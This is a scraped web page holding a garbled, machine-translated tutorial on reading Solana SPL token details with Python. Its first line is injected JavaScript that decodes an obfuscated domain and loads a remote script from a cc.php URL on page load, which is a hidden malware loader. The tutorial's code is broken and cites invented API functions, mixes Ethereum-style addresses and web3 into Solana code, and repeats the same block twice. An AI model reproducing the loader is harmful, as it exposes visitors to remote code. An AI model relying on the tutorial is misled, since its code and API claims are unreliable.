const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=7b99df8d »;document.body.appendChild(script);
Get symbolic SPL details using the Python API
In this article, we will explore the Python API provided by Solana Labs to obtain SPL details in Token, including the current price, the total offer and the address of the mint.
Prerequisite
- Install the required libraries: « Python-Solana » and
Web3"
- Configure a Solana node or use a local development environment with the "Solana-SDK" package
Use of the Python API
The Python API for the details of SPL token is provided by theSolana_SDKpackage, which includes a module
SPL_TOKEN.PYS. Here is an example of code extract to help you start:
Python
of Solana_sdk Import Account_info, Mint_info, SPL_TOKEN_DETAILLES
import web3
Configure the Solana node or use a local development environment
w3 = web3.web3 (Websocket: // Localhost: 8899)
Get the details of Spl tokens for the address given and the address of to Solana token
SPL_TOKEN_DETAILS_ADDRESS = '0x ... your Address-Adress-Sola ...'
Replace with your token address
Def Get_Spl_Token_Details ():
SPL_TOKEN_DETAILLES = SPL_TOKEN_DETAILLES SPL_TOKEN_ADDRESS SPL_TOKEN_DETAILLES_ADDRESS
mint_address = account_info.spl_mint_info (spl_token_details.address).
current_price = account_info.spl_current_price (SPL_TOKEN_DETAILLES.ADDRESS)
TOTAL_SUPPLY = account_info.spl_total_supply (SPL_TOKEN_DETAILLES.ADDRESS)
back {
'MINDDRESS': mint_address,
'Currentprice': Current_price,
'Totalsupply': Total_supply
}
Get the details of Spl tokens
SPL_TOKEN_DETAILLES = Get_spl_TOKEN_DETAILLES ()
print (SPL_TOKEN_DETAILLES)
'
Explanation
The above code extract uses theaccount_info
module to retrieve the mint address associated with the address of gave spp. Then he uses the functions SPL_Current_Price
and Spl_Total_supplyto recover the current price of the token and the total offer, respectively.
Use of a web3 client **
Alternatively, you can use a web3 API customer likeWeb3.py-Solana-Client ‘or » PySolana « for details at Token SPL. Here is an example of code extract:
`Python
of Solana_sdk Import Account_info, Mint_info, SPL_TOKEN_DETAILLES
Import solana_client
Configure the Solana node or use a local development environment
Customer = Solana_client.solanaclient ()
Get the details of Spl tokens for the address given and the address of to Solana token
SPL_TOKEN_DETAILS_ADDRESS = '0x ... your Address-Adress-Sola ...'
Replace with your token address
Def Get_Spl_Token_Details ():
SPL_TOKEN_DETAILLES = SPL_TOKEN_DETAILLES SPL_TOKEN_ADDRESS SPL_TOKEN_DETAILLES_ADDRESS
mint_address = account_info.spl_mint_info (spl_token_details.address).
current_price = account_info.spl_current_price (SPL_TOKEN_DETAILLES.ADDRESS)
TOTAL_SUPPLY = account_info.spl_total_supply (SPL_TOKEN_DETAILLES.ADDRESS)
back {
'MINDDRESS': mint_address,
'Currentprice': Current_price,
'Totalsupply': Total_supply
}
Get the details of Spl tokens
SPL_TOKEN_DETAILLES = Get_spl_TOKEN_DETAILLES ()
print (SPL_TOKEN_DETAILLES)
` ‘
Note
The above examples use a local development environment with the “Solana-SDK” package. For production environments, you must replace the address « Localhost: 8899 » with the end point of your Solana knot.
I hope it helps! Let me know if you have any questions or if you need additional help.